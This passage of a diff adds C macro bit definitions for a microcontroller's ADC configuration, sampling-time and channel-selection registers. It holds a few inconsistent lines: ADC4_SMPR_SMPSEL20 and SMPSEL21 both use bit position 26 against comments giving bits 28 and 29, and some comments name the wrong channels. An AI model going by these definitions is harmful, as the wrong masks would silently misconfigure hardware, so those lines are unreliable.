ADC_CFGR2_ROVSM_Pos (10UL) +#define ADC_CFGR2_ROVSM_Msk (0x1UL << ADC_CFGR2_ROVSM_Pos) /*!< 0x00000400 */ +#define ADC_CFGR2_ROVSM ADC_CFGR2_ROVSM_Msk /*!< ADC Regular oversampling mode */ + +#define ADC_CFGR2_OVSR_Pos (16UL) +#define ADC_CFGR2_OVSR_Msk (0x3FFUL << ADC_CFGR2_OVSR_Pos) /*!< 0x03FF0000 */ +#define ADC_CFGR2_OVSR ADC_CFGR2_OVSR_Msk /*!< ADC oversampling Ratio */ +#define ADC_CFGR2_OVSR_0 (0x001UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00010000 */ +#define ADC_CFGR2_OVSR_1 (0x002UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00020000 */ +#define ADC_CFGR2_OVSR_2 (0x004UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00040000 */ +#define ADC_CFGR2_OVSR_3 (0x008UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00080000 */ +#define ADC_CFGR2_OVSR_4 (0x010UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00100000 */ +#define ADC_CFGR2_OVSR_5 (0x020UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00200000 */ +#define ADC_CFGR2_OVSR_6 (0x040UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00400000 */ +#define ADC_CFGR2_OVSR_7 (0x080UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00800000 */ +#define ADC_CFGR2_OVSR_8 (0x100UL << ADC_CFGR2_OVSR_Pos) /*!< 0x01000000 */ +#define ADC_CFGR2_OVSR_9 (0x200UL << ADC_CFGR2_OVSR_Pos) /*!< 0x02000000 */ + +#define ADC_CFGR2_BULB_Pos (13UL) +#define ADC_CFGR2_BULB_Msk (0x1UL << ADC_CFGR2_BULB_Pos) /*!< 0x00002000 */ +#define ADC_CFGR2_BULB ADC_CFGR2_BULB_Msk /*!< ADC Bulb sampling mode */ + +#define ADC_CFGR2_SWTRIG_Pos (14UL) +#define ADC_CFGR2_SWTRIG_Msk (0x1UL << ADC_CFGR2_SWTRIG_Pos) /*!< 0x00004000 */ +#define ADC_CFGR2_SWTRIG ADC_CFGR2_SWTRIG_Msk /*!< ADC Software trigger bit for sampling time control trigger mode */ + +#define ADC_CFGR2_SMPTRIG_Pos (15UL) +#define ADC_CFGR2_SMPTRIG_Msk (0x1UL << ADC_CFGR2_SMPTRIG_Pos) /*!< 0x00008000 */ +#define ADC_CFGR2_SMPTRIG ADC_CFGR2_SMPTRIG_Msk /*!< ADC Sampling time control trigger mode */ + +#define ADC_CFGR2_LFTRIG_Pos (27UL) +#define ADC_CFGR2_LFTRIG_Msk (0x1UL << ADC_CFGR2_LFTRIG_Pos) /*!< 0x08000000 */ +#define ADC_CFGR2_LFTRIG ADC_CFGR2_LFTRIG_Msk /*!< ADC low frequency trigger mode */ + +#define ADC_CFGR2_LSHIFT_Pos (28UL) +#define ADC_CFGR2_LSHIFT_Msk (0xFUL << ADC_CFGR2_LSHIFT_Pos) /*!< 0xF0000000 */ +#define ADC_CFGR2_LSHIFT ADC_CFGR2_LSHIFT_Msk /*!< ADC Left shift factor */ +#define ADC_CFGR2_LSHIFT_0 (0x1UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x10000000 */ +#define ADC_CFGR2_LSHIFT_1 (0x2UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x20000000 */ +#define ADC_CFGR2_LSHIFT_2 (0x4UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x40000000 */ +#define ADC_CFGR2_LSHIFT_3 (0x8UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x80000000 */ + +/* Specific ADC4 */ +#define ADC4_CFGR2_OVSR_Pos (2UL) +#define ADC4_CFGR2_OVSR_Msk (0x7UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x0000001C */ +#define ADC4_CFGR2_OVSR ADC4_CFGR2_OVSR_Msk /*!< ADC oversampling ratio */ +#define ADC4_CFGR2_OVSR_0 (0x1UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000004 */ +#define ADC4_CFGR2_OVSR_1 (0x2UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000008 */ +#define ADC4_CFGR2_OVSR_2 (0x4UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000010 */ + +#define ADC4_CFGR2_LFTRIG_Pos (29UL) +#define ADC4_CFGR2_LFTRIG_Msk (0x1UL << ADC4_CFGR2_LFTRIG_Pos) /*!< 0x20000000 */ +#define ADC4_CFGR2_LFTRIG ADC4_CFGR2_LFTRIG_Msk /*!< ADC4 low frequency trigger mode */ + +/******************** Bit definition for ADC_SMPR1 register ********************/ +#define ADC_SMPR1_SMP0_Pos (0UL) +#define ADC_SMPR1_SMP0_Msk (0x7UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000007 */ +#define ADC_SMPR1_SMP0 ADC_SMPR1_SMP0_Msk /*!< ADC Channel 0 Sampling time selection */ +#define ADC_SMPR1_SMP0_0 (0x1UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000001 */ +#define ADC_SMPR1_SMP0_1 (0x2UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000002 */ +#define ADC_SMPR1_SMP0_2 (0x4UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR1_SMP1_Pos (3UL) +#define ADC_SMPR1_SMP1_Msk (0x7UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000038 */ +#define ADC_SMPR1_SMP1 ADC_SMPR1_SMP1_Msk /*!< ADC Channel 1 Sampling time selection */ +#define ADC_SMPR1_SMP1_0 (0x1UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000008 */ +#define ADC_SMPR1_SMP1_1 (0x2UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000010 */ +#define ADC_SMPR1_SMP1_2 (0x4UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR1_SMP2_Pos (6UL) +#define ADC_SMPR1_SMP2_Msk (0x7UL << ADC_SMPR1_SMP2_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR1_SMP2 ADC_SMPR1_SMP2_Msk /*!< ADC Channel 2 Sampling time selection */ +#define ADC_SMPR1_SMP2_0 (0x1UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000040 */ +#define ADC_SMPR1_SMP2_1 (0x2UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000080 */ +#define ADC_SMPR1_SMP2_2 (0x4UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR1_SMP3_Pos (9UL) +#define ADC_SMPR1_SMP3_Msk (0x7UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR1_SMP3 ADC_SMPR1_SMP3_Msk /*!< ADC Channel 3 Sampling time selection */ +#define ADC_SMPR1_SMP3_0 (0x1UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000200 */ +#define ADC_SMPR1_SMP3_1 (0x2UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000400 */ +#define ADC_SMPR1_SMP3_2 (0x4UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR1_SMP4_Pos (12UL) +#define ADC_SMPR1_SMP4_Msk (0x7UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00007000 */ +#define ADC_SMPR1_SMP4 ADC_SMPR1_SMP4_Msk /*!< ADC Channel 4 Sampling time selection */ +#define ADC_SMPR1_SMP4_0 (0x1UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00001000 */ +#define ADC_SMPR1_SMP4_1 (0x2UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00002000 */ +#define ADC_SMPR1_SMP4_2 (0x4UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR1_SMP5_Pos (15UL) +#define ADC_SMPR1_SMP5_Msk (0x7UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00038000 */ +#define ADC_SMPR1_SMP5 ADC_SMPR1_SMP5_Msk /*!< ADC Channel 5 Sampling time selection */ +#define ADC_SMPR1_SMP5_0 (0x1UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00008000 */ +#define ADC_SMPR1_SMP5_1 (0x2UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00010000 */ +#define ADC_SMPR1_SMP5_2 (0x4UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR1_SMP6_Pos (18UL) +#define ADC_SMPR1_SMP6_Msk (0x7UL << ADC_SMPR1_SMP6_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR1_SMP6 ADC_SMPR1_SMP6_Msk /*!< ADC Channel 6 Sampling time selection */ +#define ADC_SMPR1_SMP6_0 (0x1UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00040000 */ +#define ADC_SMPR1_SMP6_1 (0x2UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00080000 */ +#define ADC_SMPR1_SMP6_2 (0x4UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR1_SMP7_Pos (21UL) +#define ADC_SMPR1_SMP7_Msk (0x7UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR1_SMP7 ADC_SMPR1_SMP7_Msk /*!< ADC Channel 7 Sampling time selection */ +#define ADC_SMPR1_SMP7_0 (0x1UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00200000 */ +#define ADC_SMPR1_SMP7_1 (0x2UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00400000 */ +#define ADC_SMPR1_SMP7_2 (0x4UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR1_SMP8_Pos (24UL) +#define ADC_SMPR1_SMP8_Msk (0x7UL << ADC_SMPR1_SMP8_Pos) /*!< 0x07000000 */ +#define ADC_SMPR1_SMP8 ADC_SMPR1_SMP8_Msk /*!< ADC Channel 8 Sampling time selection */ +#define ADC_SMPR1_SMP8_0 (0x1UL << ADC_SMPR1_SMP8_Pos) /*!< 0x01000000 */ +#define ADC_SMPR1_SMP8_1 (0x2UL << ADC_SMPR1_SMP8_Pos) /*!< 0x02000000 */ +#define ADC_SMPR1_SMP8_2 (0x4UL << ADC_SMPR1_SMP8_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR1_SMP9_Pos (27UL) +#define ADC_SMPR1_SMP9_Msk (0x7UL << ADC_SMPR1_SMP9_Pos) /*!< 0x38000000 */ +#define ADC_SMPR1_SMP9 ADC_SMPR1_SMP9_Msk /*!< ADC Channel 9 Sampling time selection */ +#define ADC_SMPR1_SMP9_0 (0x1UL << ADC_SMPR1_SMP9_Pos) /*!< 0x08000000 */ +#define ADC_SMPR1_SMP9_1 (0x2UL << ADC_SMPR1_SMP9_Pos) /*!< 0x10000000 */ +#define ADC_SMPR1_SMP9_2 (0x4UL << ADC_SMPR1_SMP9_Pos) /*!< 0x20000000 */ + +#define ADC4_SMPR_SMP1_Pos (0UL) +#define ADC4_SMPR_SMP1_Msk (0x7UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000007 */ +#define ADC4_SMPR_SMP1 ADC4_SMPR_SMP1_Msk /*!< ADC Channel 0 Sampling time selection */ +#define ADC4_SMPR_SMP1_0 (0x1UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000001 */ +#define ADC4_SMPR_SMP1_1 (0x2UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000002 */ +#define ADC4_SMPR_SMP1_2 (0x4UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000004 */ + +#define ADC4_SMPR_SMP2_Pos (4UL) +#define ADC4_SMPR_SMP2_Msk (0x7UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000070 */ +#define ADC4_SMPR_SMP2 ADC4_SMPR_SMP2_Msk /*!< ADC group of channels sampling time 2 */ +#define ADC4_SMPR_SMP2_0 (0x1UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000010 */ +#define ADC4_SMPR_SMP2_1 (0x2UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000020 */ +#define ADC4_SMPR_SMP2_2 (0x4UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000040 */ + +#define ADC4_SMPR_SMPSEL_Pos (8UL) +#define ADC4_SMPR_SMPSEL_Msk (0xFFFFFFUL << ADC4_SMPR_SMPSEL_Pos) /*!< 0xFFFFFF00 */ +#define ADC4_SMPR_SMPSEL ADC4_SMPR_SMPSEL_Msk /*!< ADC4 all channels sampling time selection */ +#define ADC4_SMPR_SMPSEL0_Pos (8UL) +#define ADC4_SMPR_SMPSEL0_Msk (0x1UL << ADC4_SMPR_SMPSEL0_Pos) /*!< 0x00000100 */ +#define ADC4_SMPR_SMPSEL0 ADC4_SMPR_SMPSEL0_Msk /*!< ADC4 channel 0 sampling time selection */ +#define ADC4_SMPR_SMPSEL1_Pos (9UL) +#define ADC4_SMPR_SMPSEL1_Msk (0x1UL << ADC4_SMPR_SMPSEL1_Pos) /*!< 0x00000200 */ +#define ADC4_SMPR_SMPSEL1 ADC4_SMPR_SMPSEL1_Msk /*!< ADC4 channel 1 sampling time selection */ +#define ADC4_SMPR_SMPSEL2_Pos (10UL) +#define ADC4_SMPR_SMPSEL2_Msk (0x1UL << ADC4_SMPR_SMPSEL2_Pos) /*!< 0x00000400 */ +#define ADC4_SMPR_SMPSEL2 ADC4_SMPR_SMPSEL2_Msk /*!< ADC4 channel 2 sampling time selection */ +#define ADC4_SMPR_SMPSEL3_Pos (11UL) +#define ADC4_SMPR_SMPSEL3_Msk (0x1UL << ADC4_SMPR_SMPSEL3_Pos) /*!< 0x00000800 */ +#define ADC4_SMPR_SMPSEL3 ADC4_SMPR_SMPSEL3_Msk /*!< ADC4 channel 3 sampling time selection */ +#define ADC4_SMPR_SMPSEL4_Pos (12UL) +#define ADC4_SMPR_SMPSEL4_Msk (0x1UL << ADC4_SMPR_SMPSEL4_Pos) /*!< 0x00001000 */ +#define ADC4_SMPR_SMPSEL4 ADC4_SMPR_SMPSEL4_Msk /*!< ADC4 channel 4 sampling time selection */ +#define ADC4_SMPR_SMPSEL5_Pos (13UL) +#define ADC4_SMPR_SMPSEL5_Msk (0x1UL << ADC4_SMPR_SMPSEL5_Pos) /*!< 0x00002000 */ +#define ADC4_SMPR_SMPSEL5 ADC4_SMPR_SMPSEL5_Msk /*!< ADC4 channel 5 sampling time selection */ +#define ADC4_SMPR_SMPSEL6_Pos (14UL) +#define ADC4_SMPR_SMPSEL6_Msk (0x1UL << ADC4_SMPR_SMPSEL6_Pos) /*!< 0x00004000 */ +#define ADC4_SMPR_SMPSEL6 ADC4_SMPR_SMPSEL6_Msk /*!< ADC4 channel 6 sampling time selection */ +#define ADC4_SMPR_SMPSEL7_Pos (15UL) +#define ADC4_SMPR_SMPSEL7_Msk (0x1UL << ADC4_SMPR_SMPSEL7_Pos) /*!< 0x00008000 */ +#define ADC4_SMPR_SMPSEL7 ADC4_SMPR_SMPSEL7_Msk /*!< ADC4 channel 7 sampling time selection */ +#define ADC4_SMPR_SMPSEL8_Pos (16UL) +#define ADC4_SMPR_SMPSEL8_Msk (0x1UL << ADC4_SMPR_SMPSEL8_Pos) /*!< 0x00010000 */ +#define ADC4_SMPR_SMPSEL8 ADC4_SMPR_SMPSEL8_Msk /*!< ADC4 channel 8 sampling time selection */ +#define ADC4_SMPR_SMPSEL9_Pos (17UL) +#define ADC4_SMPR_SMPSEL9_Msk (0x1UL << ADC4_SMPR_SMPSEL9_Pos) /*!< 0x00020000 */ +#define ADC4_SMPR_SMPSEL9 ADC4_SMPR_SMPSEL9_Msk /*!< ADC4 channel 9 sampling time selection */ +#define ADC4_SMPR_SMPSEL10_Pos (18UL) +#define ADC4_SMPR_SMPSEL10_Msk (0x1UL << ADC4_SMPR_SMPSEL10_Pos) /*!< 0x00040000 */ +#define ADC4_SMPR_SMPSEL10 ADC4_SMPR_SMPSEL10_Msk /*!< ADC4 channel 10 sampling time selection */ +#define ADC4_SMPR_SMPSEL11_Pos (19UL) +#define ADC4_SMPR_SMPSEL11_Msk (0x1UL << ADC4_SMPR_SMPSEL11_Pos) /*!< 0x00080000 */ +#define ADC4_SMPR_SMPSEL11 ADC4_SMPR_SMPSEL11_Msk /*!< ADC4 channel 11 sampling time selection */ +#define ADC4_SMPR_SMPSEL12_Pos (20UL) +#define ADC4_SMPR_SMPSEL12_Msk (0x1UL << ADC4_SMPR_SMPSEL12_Pos) /*!< 0x00100000 */ +#define ADC4_SMPR_SMPSEL12 ADC4_SMPR_SMPSEL12_Msk /*!< ADC4 channel 12 sampling time selection */ +#define ADC4_SMPR_SMPSEL13_Pos (21UL) +#define ADC4_SMPR_SMPSEL13_Msk (0x1UL << ADC4_SMPR_SMPSEL13_Pos) /*!< 0x00200000 */ +#define ADC4_SMPR_SMPSEL13 ADC4_SMPR_SMPSEL13_Msk /*!< ADC4 channel 13 sampling time selection */ +#define ADC4_SMPR_SMPSEL14_Pos (22UL) +#define ADC4_SMPR_SMPSEL14_Msk (0x1UL << ADC4_SMPR_SMPSEL14_Pos) /*!< 0x00400000 */ +#define ADC4_SMPR_SMPSEL14 ADC4_SMPR_SMPSEL14_Msk /*!< ADC4 channel 14 sampling time selection */ +#define ADC4_SMPR_SMPSEL15_Pos (23UL) +#define ADC4_SMPR_SMPSEL15_Msk (0x1UL << ADC4_SMPR_SMPSEL15_Pos) /*!< 0x00800000 */ +#define ADC4_SMPR_SMPSEL15 ADC4_SMPR_SMPSEL15_Msk /*!< ADC4 channel 15 sampling time selection */ +#define ADC4_SMPR_SMPSEL16_Pos (24UL) +#define ADC4_SMPR_SMPSEL16_Msk (0x1UL << ADC4_SMPR_SMPSEL16_Pos) /*!< 0x01000000 */ +#define ADC4_SMPR_SMPSEL16 ADC4_SMPR_SMPSEL16_Msk /*!< ADC4 channel 16 sampling time selection */ +#define ADC4_SMPR_SMPSEL17_Pos (25UL) +#define ADC4_SMPR_SMPSEL17_Msk (0x1UL << ADC4_SMPR_SMPSEL17_Pos) /*!< 0x02000000 */ +#define ADC4_SMPR_SMPSEL17 ADC4_SMPR_SMPSEL17_Msk /*!< ADC4 channel 17 sampling time selection */ +#define ADC4_SMPR_SMPSEL18_Pos (26UL) +#define ADC4_SMPR_SMPSEL18_Msk (0x1UL << ADC4_SMPR_SMPSEL18_Pos) /*!< 0x04000000 */ +#define ADC4_SMPR_SMPSEL18 ADC4_SMPR_SMPSEL18_Msk /*!< ADC4 channel 18 sampling time selection */ +#define ADC4_SMPR_SMPSEL19_Pos (27UL) +#define ADC4_SMPR_SMPSEL19_Msk (0x1UL << ADC4_SMPR_SMPSEL19_Pos) /*!< 0x08000000 */ +#define ADC4_SMPR_SMPSEL19 ADC4_SMPR_SMPSEL19_Msk /*!< ADC4 channel 19 sampling time selection */ +#define ADC4_SMPR_SMPSEL20_Pos (26UL) +#define ADC4_SMPR_SMPSEL20_Msk (0x1UL << ADC4_SMPR_SMPSEL20_Pos) /*!< 0x10000000 */ +#define ADC4_SMPR_SMPSEL20 ADC4_SMPR_SMPSEL20_Msk /*!< ADC4 channel 20 sampling time selection */ +#define ADC4_SMPR_SMPSEL21_Pos (26UL) +#define ADC4_SMPR_SMPSEL21_Msk (0x1UL << ADC4_SMPR_SMPSEL21_Pos) /*!< 0x20000000 */ +#define ADC4_SMPR_SMPSEL21 ADC4_SMPR_SMPSEL21_Msk /*!< ADC4 channel 20 sampling time selection */ +#define ADC4_SMPR_SMPSEL22_Pos (30UL) +#define ADC4_SMPR_SMPSEL22_Msk (0x1UL << ADC4_SMPR_SMPSEL22_Pos) /*!< 0x40000000 */ +#define ADC4_SMPR_SMPSEL22 ADC4_SMPR_SMPSEL22_Msk /*!< ADC4 channel 21 sampling time selection */ +#define ADC4_SMPR_SMPSEL23_Pos (31UL) +#define ADC4_SMPR_SMPSEL23_Msk (0x1UL << ADC4_SMPR_SMPSEL23_Pos) /*!< 0x80000000 */ +#define ADC4_SMPR_SMPSEL23 ADC4_SMPR_SMPSEL23_Msk /*!< ADC4 channel 23 sampling time selection */ + +/******************** Bit definition for ADC_SMPR2 register ********************/ +#define ADC_SMPR2_SMP10_Pos (0UL) +#define ADC_SMPR2_SMP10_Msk (0x7UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000007 */ +#define ADC_SMPR2_SMP10 ADC_SMPR2_SMP10_Msk /*!< ADC Channel 10 Sampling time selection */ +#define ADC_SMPR2_SMP10_0 (0x1UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000001 */ +#define ADC_SMPR2_SMP10_1 (0x2UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000002 */ +#define ADC_SMPR2_SMP10_2 (0x4UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR2_SMP11_Pos (3UL) +#define ADC_SMPR2_SMP11_Msk (0x7UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000038 */ +#define ADC_SMPR2_SMP11 ADC_SMPR2_SMP11_Msk /*!< ADC Channel 11 Sampling time selection */ +#define ADC_SMPR2_SMP11_0 (0x1UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000008 */ +#define ADC_SMPR2_SMP11_1 (0x2UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000010 */ +#define ADC_SMPR2_SMP11_2 (0x4UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR2_SMP12_Pos (6UL) +#define ADC_SMPR2_SMP12_Msk (0x7UL << ADC_SMPR2_SMP12_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR2_SMP12 ADC_SMPR2_SMP12_Msk /*!< ADC Channel 12 Sampling time selection */ +#define ADC_SMPR2_SMP12_0 (0x1UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000040 */ +#define ADC_SMPR2_SMP12_1 (0x2UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000080 */ +#define ADC_SMPR2_SMP12_2 (0x4UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR2_SMP13_Pos (9UL) +#define ADC_SMPR2_SMP13_Msk (0x7UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR2_SMP13 ADC_SMPR2_SMP13_Msk /*!< ADC Channel 13 Sampling time selection */ +#define ADC_SMPR2_SMP13_0 (0x1UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000200 */ +#define ADC_SMPR2_SMP13_1 (0x2UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000400 */ +#define ADC_SMPR2_SMP13_2 (0x4UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR2_SMP14_Pos (12UL) +#define ADC_SMPR2_SMP14_Msk (0x7UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00007000 */ +#define ADC_SMPR2_SMP14 ADC_SMPR2_SMP14_Msk /*!< ADC Channel 14 Sampling time selection */ +#define ADC_SMPR2_SMP14_0 (0x1UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00001000 */ +#define ADC_SMPR2_SMP14_1 (0x2UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00002000 */ +#define ADC_SMPR2_SMP14_2 (0x4UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR2_SMP15_Pos (15UL) +#define ADC_SMPR2_SMP15_Msk (0x7UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00038000 */ +#define ADC_SMPR2_SMP15 ADC_SMPR2_SMP15_Msk /*!< ADC Channel 15 Sampling time selection */ +#define ADC_SMPR2_SMP15_0 (0x1UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00008000 */ +#define ADC_SMPR2_SMP15_1 (0x2UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00010000 */ +#define ADC_SMPR2_SMP15_2 (0x4UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR2_SMP16_Pos (18UL) +#define ADC_SMPR2_SMP16_Msk (0x7UL << ADC_SMPR2_SMP16_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR2_SMP16 ADC_SMPR2_SMP16_Msk /*!< ADC Channel 16 Sampling time selection */ +#define ADC_SMPR2_SMP16_0 (0x1UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00040000 */ +#define ADC_SMPR2_SMP16_1 (0x2UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00080000 */ +#define ADC_SMPR2_SMP16_2 (0x4UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR2_SMP17_Pos (21UL) +#define ADC_SMPR2_SMP17_Msk (0x7UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR2_SMP17 ADC_SMPR2_SMP17_Msk /*!< ADC Channel 17 Sampling time selection */ +#define ADC_SMPR2_SMP17_0 (0x1UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00200000 */ +#define ADC_SMPR2_SMP17_1 (0x2UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00400000 */ +#define ADC_SMPR2_SMP17_2 (0x4UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR2_SMP18_Pos (24UL) +#define ADC_SMPR2_SMP18_Msk (0x7UL << ADC_SMPR2_SMP18_Pos) /*!< 0x07000000 */ +#define ADC_SMPR2_SMP18 ADC_SMPR2_SMP18_Msk /*!< ADC Channel 18 Sampling time selection */ +#define ADC_SMPR2_SMP18_0 (0x1UL << ADC_SMPR2_SMP18_Pos) /*!< 0x01000000 */ +#define ADC_SMPR2_SMP18_1 (0x2UL << ADC_SMPR2_SMP18_Pos) /*!< 0x02000000 */ +#define ADC_SMPR2_SMP18_2 (0x4UL << ADC_SMPR2_SMP18_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR2_SMP19_Pos (27UL) +#define ADC_SMPR2_SMP19_Msk (0x7UL << ADC_SMPR2_SMP19_Pos) /*!< 0x38000000 */ +#define ADC_SMPR2_SMP19 ADC_SMPR2_SMP19_Msk /*!< ADC Channel 19 Sampling time selection */ +#define ADC_SMPR2_SMP19_0 (0x1UL << ADC_SMPR2_SMP19_Pos) /*!< 0x08000000 */ +#define ADC_SMPR2_SMP19_1 (0x2UL << ADC_SMPR2_SMP19_Pos) /*!< 0x10000000 */ +#define ADC_SMPR2_SMP19_2 (0x4UL << ADC_SMPR2_SMP19_Pos) /*!< 0x20000000 */ + +/******************** Bit definition for ADC_PCSEL register ********************/ +#define ADC_PCSEL_PCSEL_Pos (0UL) +#define ADC_PCSEL_PCSEL_Msk (0xFFFFFUL << ADC_PCSEL_PCSEL_Pos) /*!< 0x000FFFFF */ +#define ADC_PCSEL_PCSEL ADC_PCSEL_PCSEL_Msk /*!< ADC pre channel selection */ +#define ADC_PCSEL_PCSEL_0 (0x00001UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000001 */ +#define ADC_PCSEL_PCSEL_1 (0x00002UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000002 */ +#define ADC_PCSEL_PCSEL_2 (0x00004UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000004 */ +#define ADC_PCSEL_PCSEL_3 (0x00008UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000008 */ +#define ADC_PCSEL_PCSEL_4 (0x00010UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000010 */ +#define ADC_PCSEL_PCSEL_5 (0x00020UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000020 */ +#define ADC_PCSEL_PCSEL_6 (0x00040UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000040 */ +#define ADC_PCSEL_PCSEL_7 (0x00080UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000080 */ +#define ADC_PCSEL_PCSEL_8 (0x00100UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000100 */ +#define ADC_PCSEL_PCSEL_9 (0x00200UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000200 */ +#define ADC_PCSEL_PCSEL_10 (0x00400UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000400 */ +#define ADC_PCSEL_PCSEL_11 (0x00800UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000800 */ +#define ADC_PCSEL_PCSEL_12 (0x01000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00001000 */ +#define ADC_PCSEL_PCSEL_13 (0x02000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00002000 */ +#define ADC_PCSEL_PCSEL_14 (0x04000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00004000 */ +#define ADC_PCSEL_PCSEL_15 (0x08000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00008000 */ +#define ADC_PCSEL_PCSEL_16 (0x10000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00010000 */ +#define ADC_PCSEL_PCSEL_17 (0x20000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00020000 */ +#define ADC_PCSEL_PCSEL_18 (0x40000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00040000 */ +#define ADC_PCSEL_PCSEL_19 (0x80000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00080000 */ + +/***************** Bit definition for ADC_LTR1, 2, 3 registers *****************/ +#define ADC_LTR_LT_Pos (0UL) +#define ADC_LTR_LT_Msk (0x01FFFFFFUL << 